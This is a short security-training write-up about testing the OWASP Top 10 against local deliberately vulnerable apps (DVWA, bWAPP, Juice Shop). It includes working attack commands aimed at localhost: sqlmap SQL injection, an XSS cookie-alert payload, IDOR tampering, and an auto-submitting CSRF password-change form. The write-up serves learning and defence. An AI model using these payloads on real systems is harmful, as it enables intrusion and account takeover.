Web Application Security Testing
Perform web application security testing in intentionally vulnerable environments (bWAPP, Beebox, DVWA, OWASP Juice Shop).
Project objective
Work through the OWASP Top 10 hands-on against four intentionally vulnerable web applications — bWAPP, bee-box, DVWA, and OWASP Juice Shop — to build practical, tool-assisted and manual testing skills for the vulnerability classes that show up most often in real web application assessments.
What I did
Each application was run locally and tested category by category, moving from automated scanning to manual verification and exploitation.
# Spin up the lab targets
docker run -d -p 8080:80 raesene/bwapp
docker run -d -p 3000:3000 bkimminich/juice-shop
docker run -d -p 8081:80 vulnerables/web-dvwa
# Baseline automated scan
zap-cli quick-scan --self-contained http://localhost:8080
# Manual SQL injection (DVWA, low security)
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123; security=low" --dbs --batch
# Reflected XSS proof of concept
curl "http://localhost:8080/xss_get/?firstname=<script>alert(document.cookie)</script>"
# IDOR check by tampering an object reference
curl -s http://localhost:3000/rest/user/2 -H "Authorization: Bearer $TOKEN_USER_1"
# CSRF proof-of-concept form (auto-submits on load)
cat poc-csrf.html
<form action="http://localhost:8081/change_password" method="POST">
<input type="hidden" name="new_password" value="pwned123">
</form>
<script>document.forms[0].submit()</script>Findings spanned classic SQL injection and reflected/stored XSS on DVWA and bWAPP, a broken access control challenge on Juice Shop solved via direct object reference tampering, and a CSRF password-change flow with no anti-CSRF token. Each was verified manually after the automated scan flagged it, since ZAP/Burp scanners produce false positives that need confirming with a working proof-of-concept.
Key learning
Automated scanners are a good starting point for coverage but consistently miss business-logic issues like IDOR and CSRF, which only show up when you think about the application from an "as another user" perspective rather than scanning payload lists against a single session. Progressing DVWA through its low → medium → high security levels was also useful for seeing exactly which mitigations (parameterized queries, output encoding, CSRF tokens) neutralize which attack, rather than treating "fix it" as a single undifferentiated step.